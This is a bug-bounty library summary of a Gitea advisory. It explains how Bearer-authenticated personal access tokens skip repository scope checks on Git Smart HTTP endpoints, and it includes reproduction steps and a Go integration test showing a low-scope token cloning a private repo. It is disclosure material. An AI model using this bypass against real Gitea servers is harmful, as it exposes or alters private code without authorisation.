# Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens

Gitea's Git Smart HTTP scope check only runs for Basic auth, so a Bearer PAT lacking read:repository can clone private repos.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): ohxorud-dev
- Found by: ohxorud-dev
- Disclosed: 2026-06-16
- CVE: CVE-2026-28744
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cc8w-r4qh-3v65
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-cc8w-r4qh-3v65
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Git Smart HTTP endpoints (/info/refs, git-upload-pack, git-receive-pack)
**Root cause:** CheckRepoScopedToken() returns early unless ctx.IsBasicAuth is true, so token scopes are only enforced for Basic auth; Bearer/OAuth2 tokens set IsApiToken and ApiTokenScope but IsBasicAuth stays false, so the scope check is skipped and only normal repo RBAC applies.
**Steps:**
1. Create a token for user2 scoped only to `read:notification`.
2. Request `GET /user2/repo2/info/refs?service=git-upload-pack` with Basic auth `token:x-oauth-basic` -> 403 Forbidden.
3. Send the same request with `Authorization: Bearer <token>` -> 200 OK, body contains `refs/heads/master`.
4. Same bypass applies to git-receive-pack write flows.
**How found:** Code reading of the Git HTTP auth path: noticed CheckRepoScopedToken() gated on ctx.IsBasicAuth while the route also allows OAuth2/Bearer, then confirmed the Bearer path stores ApiTokenScope but never sets IsBasicAuth, and validated with a differential test (Basic 403 vs Bearer 200).
**Exploitation:** Attacker holding a low-scope PAT or OAuth2 token (e.g. read:notification) uses it as a Bearer credential against Git Smart HTTP to clone/fetch private repos, or push, that the token's scopes should forbid; still bounded by the token owner's normal repo RBAC.
**Insight:** When an auth check is gated on the authentication mechanism (IsBasicAuth) rather than on token presence, test every alternate auth method the route accepts (Bearer/OAuth2) with a deliberately under-scoped token and diff the responses.

## Proof of concept (copied exactly from the original report)

**Go test proving Bearer token bypasses repo scope**

```
func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"})
	assert.True(t, repo.IsPrivate)

	session := loginUser(t, "user2")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)
	url := "/user2/repo2/info/refs?service=git-upload-pack"

	basicReq := NewRequest(t, "GET", url)
	basicReq.SetBasicAuth(token, "x-oauth-basic")
	MakeRequest(t, basicReq, http.StatusForbidden)

	bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token)
	resp := MakeRequest(t, bearerReq, http.StatusOK)
	assert.Contains(t, resp.Body.String(), "refs/heads/master")
}
```

